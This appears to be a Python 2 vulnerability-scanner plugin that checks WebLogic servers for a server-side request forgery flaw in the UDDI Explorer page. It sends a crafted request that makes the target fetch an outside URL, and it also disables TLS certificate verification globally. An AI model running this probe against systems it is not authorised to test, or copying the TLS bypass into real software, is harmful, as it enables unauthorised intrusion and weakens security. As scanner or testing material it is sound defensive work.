import base64
import httplib
import random
import ssl
import urllib2

from lib.classloader import register
from lib.pocbase import  pocbase


ssl._create_default_https_context = ssl._create_unverified_context

class RedirctHandler(urllib2.HTTPRedirectHandler):
    def http_error_301(self, req, fp, code, msg, headers):
        pass;

    def http_error_302(self, req, fp, code, msg, headers):
        pass;


def init():
    debug_handler = urllib2.HTTPHandler(debuglevel=0)
    proxy_handler = urllib2.ProxyHandler({});
    opener = urllib2.build_opener(debug_handler, RedirctHandler, proxy_handler)
    urllib2.install_opener(opener);



class testpoc(pocbase):
    
    def __init__(self):
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        init();
        port = infodict["port"];
        version = infodict["service_version"];
        
        return int(port) == 7001 or version.lower().find("weblogic") != -1;
                
    
                
    def method_get(self, header, url):
        request = urllib2.Request(url);
        for key in header.keys():
            request.add_header(key, header.get(key));
        resp = None;
        success = False;
        content = None;
        try:
            resp = urllib2.urlopen(request, content);
            if resp.code >= 200 and resp.code < 300:
                success = True;
                content = resp.read();
            else:
                success = False;
        except urllib2.URLError, e:
            if hasattr(e, "code") or hasattr(e, "reson"):
                success = False;
        except httplib.BadStatusLine:
            success = False;
        except:
            success = False;
        finally:
            if resp:
                resp.close();
        return {"success":success, "content":content};
    
    
    
    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        result = infodict;
        url = "%s://%s:%s"%("https"if infodict.get("service_type") and infodict["service_type"].find("ssl") != -1 else "http", host, str(port));
        tmp = self.method_get({}, url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://0day5.com/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search");
        if tmp.get("success") and tmp["success"] and tmp["content"].lower().find("reveive a") != -1:
            result["success"] = True;
        else:
            result["success"] = False;
        return result;

register(__file__, testpoc)